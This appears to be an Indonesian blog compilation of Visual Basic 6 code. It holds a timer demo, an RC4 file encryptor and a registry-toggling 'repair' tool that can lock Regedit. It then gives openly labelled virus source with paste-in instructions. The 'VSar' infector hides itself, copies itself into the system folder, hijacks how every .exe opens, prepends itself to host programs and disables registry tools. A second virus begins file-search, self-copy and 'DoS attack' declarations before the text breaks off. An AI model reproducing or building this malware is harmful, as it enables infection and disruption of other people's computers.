!!!!!!!!LABEL1 PD FORM2 HARUS DILETEKAN PADA POJOK KIRI ATAS FORM!!!!!!!!!!
Private Sub Timer1_timer()
Form1.Show
a = a + 1
Form2.Caption = a
Label1.Caption = a
If a > 2 Then
a = 0
Label1.Caption = "Exit"
Else
Label1.Caption = "Balok"
End If
End Sub
===1Buah Label dan 1 Buah Timer====
=========Komponen Untuk Form2======
= - Label1 =
= - Timer1 =
==============================

ENCRIPSI RC4


This code offers you a strong encryption
with RC4. I've tested it a lot and it's the right
implementation of the RC4 cipher. 'You can use
this code in your commercial code because it's
not patented! 'I know there is another code that
deals with RC4 but my code has nothing to do with
this code!

Copy coding dibawah ini dan paste di Editor Form:

'**************************************
' Name: (Update) RC4 Stream Cipher (with
' file handling )
' Description:This code offers you a str
' ong encryption with RC4. I've tested it
' a lot and it's the right implementation
' of the RC4 cipher.
'You can use this code in your commercia
' l code because it's not patented!
'I know there is another code that deals

' with RC4 but my code has nothing to do w
' ith this code!
'More infos: sci.crypt
' By: Sebastian
'
' Inputs:Create the form and simply sele
' ct a file to en(de)crypt!
'Notice that you use the same function f
' or encryption and decryption
'
' Returns:After you press the Button you
' should get the en(de)crypted file!
'
' Assumes:'Assumes:Create a form with:
'
'txtpwd (txtbox)
'txtSave (txtbox)
'txtPattern (Combobox)
'filList (FileListBox)
'DirList (DirListBox)
'drvList (DrvlistBox)
'Command1 (Command Button ; Caption=Encr
' ypt)
'Command2 (Command Button ; Caption=Decr
' ypt)
'
' Side Effects:If you encrypt different
' textes with the same password, someone c
' ould be able to decrypt your code. (This
' is quiet normal for a stream cipher!)
If YOU ENCRYPT LARGE FILES PLEASE USE THE EnDeCryptSingle ROUTINE INSTEAD OF THE EnDeCrypt ROUTINE OR SPLIT THE INPUT IN SMALLER PIECES!
'
'This code is copyrighted and has' limited warranties.Please see http://w
' ww.Planet-Source-Code.com/vb/scripts/Sho
' wCode.asp?txtCodeId=1736&lngWId=1'for details.'**************************************

Option Explicit
Dim s(0 To 255) As Integer 'S-Box
Dim kep(0 To 255) As Integer
Dim i As Integer, j As Integer
'For the file actions
Dim path As String

Public Sub RC4ini(Pwd As String)

Dim temp As Integer, a As Integer, b As Integer
'Save Password in Byte-Array
b = 0


For a = 0 To 255
b = b + 1


If b > Len(Pwd) Then
b = 1
End If

kep(a) = Asc(Mid$(Pwd, b, 1))
Next a

'INI S-Box

For a = 0 To 255
s(a) = a
Next a

b = 0


For a = 0 To 255
b = (b + s(a) + kep(a)) Mod 256
' Swap( S(i),S(j) )
temp = s(a)
s(a) = s(b)
s(b) = temp
Next a

End Sub

'Only use this routine for short texts

Public Function EnDeCrypt(plaintxt As Variant) As Variant

Dim temp As Integer, a As Long, i As Integer, j As Integer, k As Integer
Dim cipherby As Byte, cipher As Variant

For a = 1 To Len(plaintxt)
i = (i + 1) Mod 256
j = (j + s(i)) Mod 256
' Swap( S(i),S(j) )
temp = s(i)
s(i) = s(j)
s(j) = temp
'Generate Keybyte k
k = s((s(i) + s(j)) Mod 256)
'Plaintextbyte xor Keybyte
cipherby = Asc(Mid$(plaintxt, a, 1)) Xor k
cipher = cipher & Chr(cipherby)
Next a

EnDeCrypt = cipher
End Function

'Use this routine for really huge files

Public Function EnDeCryptSingle(plainbyte As Byte) As Byte

Dim temp As Integer, k As Integer
Dim cipherby As Byte
i = (i + 1) Mod 256
j = (j + s(i)) Mod 256
' Swap( S(i),S(j) )
temp = s(i)
s(i) = s(j)
s(j) = temp
'Generate Keybyte k
k = s((s(i) + s(j)) Mod 256)
'Plaintextbyte xor Keybyte
cipherby = plainbyte Xor k
EnDeCryptSingle = cipherby
End Function

'************This section handles the fi
' le actions*****************

Private Sub DirList_Change()

filList.path = Dirlist.path
End Sub


Private Sub drvList_Change()

On Error Goto DriveHandler
Dirlist.path = drvList.Drive
Exit Sub
DriveHandler:
drvList.Drive = Dirlist.path
Exit Sub
End Sub


Private Sub filList_Click()

txtSave.Text = filList.List(filList.ListIndex)
End Sub


Private Sub Form_Load()

txtPatter.AddItem "*.*", 0
txtPatter.AddItem "*.txt", 1
filList.Pattern = txtPatter.Text
End Sub


Private Sub txtPatter_Change()

filList.Pattern = txtPatter.Text
End Sub


Private Sub txtPatter_Click()

filList.Pattern = txtPatter.Text
End Sub

'************* Encrypten Routine *******
' ***********

Private Sub Command1_Click()

Dim inbyte As Byte
Dim z As Long
'Set the Set-Box Counter zero
i = 0: j = 0
'Ini the S-Boxes only once for a hole fi
' le

If txtpwd.Text = "" Then
MsgBox "You need To enter a password For encrypten or decrypten"
Exit Sub
Else
RC4ini (txtpwd.Text)
End If

'Disable the Mousepointer
MousePointer = vbHourglass
path = Dirlist.path + "\" + txtSave
Open path For Binary As 1
Open path + ".enc" For Binary As 2


For z = 1 To LOF(1)
Get #1, , inbyte
Put #2, , EnDeCryptSingle(inbyte)
Next z

Close 1
Close 2
'Enable the Mousepointer
MousePointer = vbDefault
End Sub

'*********** Decryptenroutine **********
' *

Private Sub Command2_Click()

Dim inbyte As Byte
Dim z As Long
'Set the Set-Box counter zero
i = 0: j = 0
'Ini the S-Boxes only once for a hole fi
' le

If txtpwd.Text = "" Then
MsgBox "You need To enter a password For encrypten or decrypten"
Exit Sub
Else
RC4ini (txtpwd.Text)
End If

'Disable the Mousepointer
MousePointer = vbHourglass
path = Dirlist.path + "\" + txtSave
Open path For Binary As 1
path = Left$(path, Len(path) - 4)
Open path For Binary As 2


For z = 1 To LOF(1)
Get #1, , inbyte
Put #2, , EnDeCryptSingle(inbyte)
Next

Close 1
Close 2
'Enable the Mousepointer
MousePointer = vbDefault
End Sub

Rabu, 27 Februari 2008

PROGRAM REPAIR TO DEFAULT



Source code dibawah ini adalah program Repair
yaitu penangkal aktifitas virus
silahkan anda pelajari lebih dalam
1. Bukalah 1 project
2. Tambahkan 1 Form
3. Tambahkan 7 CommandButton dengan CommandButton1(cap=Do not show hidden files or folders),
CommandButton2(cap=Non Aktifkan Folder Option),CommandButton3(cap=Kunci Regedit),
CommandButton4(cap=Buka Kunci Regedit),CommandButton5(cap=Aktifkan Folder Option),
CommandButton6(cap=Hide extension for known file types),CommandButton7(cap=Kembali Semua)
4. Tambahkan Module(name=RegEdit)



Copy coding dibawah ini dan paste di Form:

Private Sub Command1_Click()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1

CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
End Sub

Private Sub Command2_Click()
'//////////Non aktifkan folder option////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
End Sub

Private Sub Command3_Click()
'//////////Kunci Regedit////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
End Sub

Private Sub Command4_Click()
'//////////Buka Kunci Regedit////////////
DeleteKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
DeleteKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit"
End Sub

Private Sub Command5_Click()
'//////////Aktifkan folder option////////////
DeleteKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions"
End Sub

Private Sub Command6_Click()
'////////menyembunyikan extensi file//////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
End Sub

Private Sub Command7_Click()
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1
End Sub

Copy coding dibawah ini dan paste di Editor Module RegEdit:

Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub


'Public Function ReadKey(Value As String) As String

'Dim b As Object
'On Error Resume Next
'Set b = CreateObject("wscript.shell")
'r = b.RegRead(Value)
'ReadKey = r
'End Function


Public Sub DeleteKey(Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value

End Sub

SOURCE CODE VIRUS VSAR

Dibawah ini merupakan source code contoh virus
dengan nama virus VSar.
1. Bukalah 1 project
2. Tambahkan 1 form(name=frmVirus)
3. Tambahkan 1 Module(name=mdlRegistryAPI)

Copy coding dibawah ini dan paste di Editor Form:

'VSar By Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia
Option Explicit

Private Declare Function GetSystemDirectory Lib "kernel32" Alias _
"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _
As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" _
(ByVal hHandle As Long, ByVal dwMilliseconds As Long) As _
Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal _
dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As _
Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal _
hObject As Long) As Long
Dim buff_hd As String
Dim buff_host As String
Dim hostsize As String
Dim exefname As String
Dim fname As String
Dim VPath As String
Dim Spawning As Variant
Const virsize As Long = (11264) 'size setelah dikompres dengan upx
Private SF As String * 255

Public Sub Form_Load()
On Error Resume Next
Dim buff_victim As String
Dim FileName As String
Dim buff_vir As String
Dim all_host As String
App.TaskVisible = False
Call InfectSystem
VPath = App.Path
If Right(VPath, 1) <> "\" Then
VPath = VPath & "\"
End If
Spawning = Command()
fname = VPath & LCase(App.EXEName) & ".exe"
If Len(Dir(Spawning)) < 1 Then GoTo akhir
If FileLen(Spawning) < 1300000 Then
Open Spawning For Binary Access Read As #2
all_host = Space(FileLen(Spawning))
Get #2, , all_host
Close #2
If Right(all_host, 4) = "VSAR" Then
OpenHost (Spawning)
Else
'======= Infect Host =========
Open fname For Binary Access Read As #1
hostsize = (LOF(1) - Int(virsize))
buff_hd = Space(virsize)
buff_host = Space(hostsize)
Get #1, , buff_hd
Get #1, , buff_host
Close #1
Open Spawning For Binary Access Write As #4
hostsize = (LOF(1) - Int(virsize))
buff_host = Space(hostsize)
Put #4, , buff_hd
Put #4, , all_host
Put #4, , "VSAR"
Close #4
End If
End If
End
Exit Sub
akhir:
Shell Spawning, vbNormalFocus
End
End Sub

Private Function OpenHost(NamaFile As String)
On Error Resume Next
Dim FakeName As String
FakeName = Mid(Spawning, 1, (Len(Spawning) - 4)) & ".dll"
Open NamaFile For Binary Access Read As #1
hostsize = (LOF(1) - Int(virsize))
buff_hd = Space(virsize)
buff_host = Space(hostsize - 4)
Get #1, , buff_hd
Get #1, , buff_host
Close #1
If Len(Dir(FakeName)) = 0 Then
Open FakeName For Binary Access Write As #2
Put #2, , buff_host
Close #2
End If
WaitProcess Shell(FakeName, vbNormalFocus)
Kill FakeName
End
End Function

Private Sub InfectSystem()
On Error Resume Next
If Len(Dir(SystemDir & "\loadexe.exe")) = 0 Then
FileCopy App.Path & "\" & App.EXEName & ".exe", SystemDir _
& "\loadexe.exe"
End If
If GetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open" & _
"\command", "") <> "loadexe.exe %1" Then
SetStringValue "HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _
"loadexe.exe %1"
End If
CreateKey "HKEY_CURRENT_USER\Software\Microsoft\Win" & _
"dows\CurrentVersion\Policies\System"
If GetDWORDValue("HKEY_CURRENT_USER\Software\Mic" & _
"rosoft\Windows\CurrentVersion\Policies\System", "DisableR" & _
"egistryTools") <> 1 Then
SetDWORDValue "HKEY_CURRENT_USER\Software\Micro" & _
"soft\Windows\CurrentVersion\Policies\System", "DisableRe" & _
"gistryTools", 1
End If
End Sub

Private Function SystemDir()
On Error Resume Next
Dim FolderValue As String
FolderValue = Left(SF, GetSystemDirectory(SF, 255))
If Right(FolderValue, 1) = "\" Then
FolderValue = Left(FolderValue, Len(FolderValue) - 1)
End If
SystemDir = FolderValue
End Function

Function WaitProcess(taskId As Long, Optional msecs As Long _
= -1) As Boolean
Dim procHandle As Long
procHandle = OpenProcess(&H100000, True, taskId)
WaitProcess = WaitForSingleObject(procHandle, msecs) <> -1
CloseHandle procHandle
End Function

Copy coding dibawah ini dan paste di Editor Module:

Type FILETIME
lLowDateTime As Long
lHighDateTime As Long
End Type

Declare Function RegDeleteValue Lib "advapi32.dll" Alias _
"RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _
As String) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _
"RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _
String, ByVal ulOptions As Long, ByVal samDesired As Long, _
phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _
Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias _
"RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
String, phkResult As Long) As Long
Declare Function RegDeleteKey Lib "advapi32.dll" Alias _
"RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
String) As Long
Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal _
lpValueName As String, ByVal lpReserved As Long, lpType As _
Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _
hKey As Long, ByVal lpValueName As String, ByVal _
lpReserved As Long, lpType As Long, ByRef lpData As Long, _
lpcbData As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpData As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal _
hKey As Long, ByVal lpValueName As String, ByVal Reserved _
As Long, ByVal dwType As Long, ByRef lpData As Long, _
ByVal cbData As Long) As Long
Declare Function RegSetValueExB Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
ByRef lpData As Byte, ByVal cbData As Long) As Long
Public Declare Function RegReplaceKey Lib "advapi32.dll" Alias _
"RegReplaceKeyA" (ByVal hKey As Long, ByVal lpSubKey As _
String, ByVal lpNewFile As String, ByVal lpOldFile As String) _
As Long

Const ERROR_SUCCESS = 0&
Const ERROR_BADDB = 1009&
Const ERROR_BADKEY = 1010&
Const ERROR_CANTOPEN = 1011&
Const ERROR_CANTREAD = 1012&
Const ERROR_CANTWRITE = 1013&
Const ERROR_OUTOFMEMORY = 14&
Const ERROR_INVALID_PARAMETER = 87&
Const ERROR_ACCESS_DENIED = 5&
Const ERROR_NO_MORE_ITEMS = 259&
Const ERROR_MORE_DATA = 234&

Const REG_NONE = 0&
Const REG_SZ = 1&
Const REG_EXPAND_SZ = 2&
Const REG_BINARY = 3&
Const REG_DWORD = 4&
Const REG_DWORD_LITTLE_ENDIAN = 4&
Const REG_DWORD_BIG_ENDIAN = 5&
Const REG_LINK = 6&
Const REG_MULTI_SZ = 7&
Const REG_RESOURCE_LIST = 8&
Const REG_FULL_RESOURCE_DESCRIPTOR = 9&
Const REG_RESOURCE_REQUIREMENTS_LIST = 10&

Const KEY_QUERY_VALUE = &H1&
Const KEY_SET_VALUE = &H2&
Const KEY_CREATE_SUB_KEY = &H4&
Const KEY_ENUMERATE_SUB_KEYS = &H8&
Const KEY_NOTIFY = &H10&
Const KEY_CREATE_LINK = &H20&
Const READ_CONTROL = &H20000
Const WRITE_DAC = &H40000
Const WRITE_OWNER = &H80000
Const SYNCHRONIZE = &H100000
Const STANDARD_RIGHTS_REQUIRED = &HF0000
Const STANDARD_RIGHTS_READ = READ_CONTROL
Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Const KEY_READ = STANDARD_RIGHTS_READ Or _
KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS _
Or KEY_NOTIFY
Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or _
KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Const KEY_EXECUTE = KEY_READ

Dim hKey As Long, MainKeyHandle As Long
Dim rtn As Long, lBuffer As Long, sBuffer As String
Dim lBufferSize As Long
Dim lDataSize As Long
Dim ByteArray() As Byte

Const DisplayErrorMsg = False

Function SetDWORDValue(SubKey As String, Entry As String, value As Long)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueExA(hKey, Entry, 0, REG_DWORD, value, 4)
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Public Function DeleteKeyValue(ByVal sKeyName As String, _
ByVal sValueName As String)
DeleteKeyValue = False
Dim hKey As Long
Call ParseKey(sKeyName, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, _
KEY_WRITE, hKey)
If (rtn = ERROR_SUCCESS) Then
rtn = RegDeleteValue(hKey, sValueName)
If (rtn <> ERROR_SUCCESS) Then
Else
DeleteKeyValue = True
End If
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function GetDWORDValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegQueryValueExA(hKey, Entry, 0, REG_DWORD, lBuffer, 4)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
GetDWORDValue = lBuffer
Else
GetDWORDValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetDWORDValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function SetBinaryValue(SubKey As String, Entry As String, value _
As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
hKey)
If rtn = ERROR_SUCCESS Then
lDataSize = Len(value)
ReDim ByteArray(lDataSize)
For i = 1 To lDataSize
ByteArray(i) = Asc(Mid$(value, i, 1))
Next
rtn = RegSetValueExB(hKey, Entry, 0, REG_BINARY, _
ByteArray(1), lDataSize)
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function GetBinaryValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
hKey)
If rtn = ERROR_SUCCESS Then
lBufferSize = 1
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, 0, _
lBufferSize)
sBuffer = Space(lBufferSize)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_BINARY, sBuffer, _
lBufferSize)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
GetBinaryValue = sBuffer
Else
GetBinaryValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetBinaryValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Function DeleteKey(Keyname As String)
Call ParseKey(Keyname, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, Keyname, 0, _
KEY_WRITE, hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegDeleteKey(hKey, Keyname)
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function GetMainKeyHandle(MainKeyName As String) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Select Case MainKeyName
Case "HKEY_CLASSES_ROOT"
GetMainKeyHandle = HKEY_CLASSES_ROOT
Case "HKEY_CURRENT_USER"
GetMainKeyHandle = HKEY_CURRENT_USER
Case "HKEY_LOCAL_MACHINE"
GetMainKeyHandle = HKEY_LOCAL_MACHINE
Case "HKEY_USERS"
GetMainKeyHandle = HKEY_USERS
Case "HKEY_PERFORMANCE_DATA"
GetMainKeyHandle = HKEY_PERFORMANCE_DATA
Case "HKEY_CURRENT_CONFIG"
GetMainKeyHandle = HKEY_CURRENT_CONFIG
Case "HKEY_DYN_DATA"
GetMainKeyHandle = HKEY_DYN_DATA
End Select
End Function

Function ErrorMsg(lErrorCode As Long) As String
Select Case lErrorCode
Case 1009, 1015
GetErrorMsg = "The Registry Database is corrupt!"
Case 2, 1010
GetErrorMsg = "Bad Key Name"
Case 1011
GetErrorMsg = "Can't Open Key"
Case 4, 1012
GetErrorMsg = "Can't Read Key"
Case 5
GetErrorMsg = "Access to this key is denied"
Case 1013
GetErrorMsg = "Can't Write Key"
Case 8, 14
GetErrorMsg = "Out of memory"
Case 87
GetErrorMsg = "Invalid Parameter"
Case 234
GetErrorMsg = "There is more data than the buffer has been " & _
"allocated to hold."
Case Else
GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode)
End Select
End Function

Function GetStringValue(SubKey As String, Entry As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_READ, _
hKey)
If rtn = ERROR_SUCCESS Then
sBuffer = Space(255)
lBufferSize = Len(sBuffer)
rtn = RegQueryValueEx(hKey, Entry, 0, REG_SZ, sBuffer, _
lBufferSize)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
sBuffer = Trim(sBuffer)
GetStringValue = Left(sBuffer, Len(sBuffer) - 1)
Else
GetStringValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
Else
GetStringValue = "Error"
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Private Sub ParseKey(Keyname As String, Keyhandle As Long)
rtn = InStr(Keyname, "\")
If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then
MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname
Exit Sub
ElseIf rtn = 0 Then
Keyhandle = GetMainKeyHandle(Keyname)
Keyname = ""
Else
Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1))
Keyname = Right(Keyname, Len(Keyname) - rtn)
End If
End Sub

Function CreateKey(SubKey As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegCreateKey(MainKeyHandle, SubKey, hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegCloseKey(hKey)
End If
End If
End Function

Function SetStringValue(SubKey As String, Entry As String, value _
As String)
Call ParseKey(SubKey, MainKeyHandle)
If MainKeyHandle Then
rtn = RegOpenKeyEx(MainKeyHandle, SubKey, 0, KEY_WRITE, _
hKey)
If rtn = ERROR_SUCCESS Then
rtn = RegSetValueEx(hKey, Entry, 0, REG_SZ, ByVal value, _
Len(value))
If Not rtn = ERROR_SUCCESS Then
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
rtn = RegCloseKey(hKey)
Else
If DisplayErrorMsg = True Then
MsgBox ErrorMsg(rtn)
End If
End If
End If
End Function

Public Function hex2ascii(ByVal hextext As String) As String
On Error Resume Next
Dim Y As Integer
Dim num As String
Dim value As String
For Y = 1 To Len(hextext)
num = Mid(hextext, Y, 2)
value = value & Chr(Val("&h" & num))
Y = Y + 1
Next Y
hex2ascii = value
End Function

Function SetHexValue(SubKey As String, Entry As String, _
value As String)
SetBinaryValue SubKey, Entry, hex2ascii(value)
End Function

SOURCE CODE VIRUS1

Source code dibawah ini adalah program virus
silahkan anda pelajari lebih dalam
1. Bukalah 1 project
2 Tambahkan 1 Module

Copy coding dibawah ini dan paste di Editor Module:

Option Explicit
'////////////////deklarasi Kode manipulasi dan pencarian////////////////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type


Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long


Private pbMessage As Boolean
'////////////////akhir deklarasi Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode penggandaan////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'////////////////akhir Kode penggandaan////////////////////

'////////////////awal Kode pesan sponsor////////////////////
Public buffer As String * 255
Public x As Long
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////awal deklarasi kode DoS attack//////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const PING_TIMEOUT = 500

Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Const ERROR_SUCCESS As Long = 0
Public Const WS_VERSION_REQD As Long = &H101
Public Const WS_VERSION_MAJOR As Long = _
WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR As Long = _
WS_VERSION_REQD And &HFF&
Public Const MIN_SOCKETS_REQD As Long = 1
Public Const SOCKET_ERROR As Long = -1

Public Type ICMP_OPTIONS
TTL As Byte
Tos As Byte
Flags As Byte
OptionsSize As Byte
OptionsData As Long
End Type

Public Type ICMP_ECHO_REPLY
Address As Long
status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250
End Type

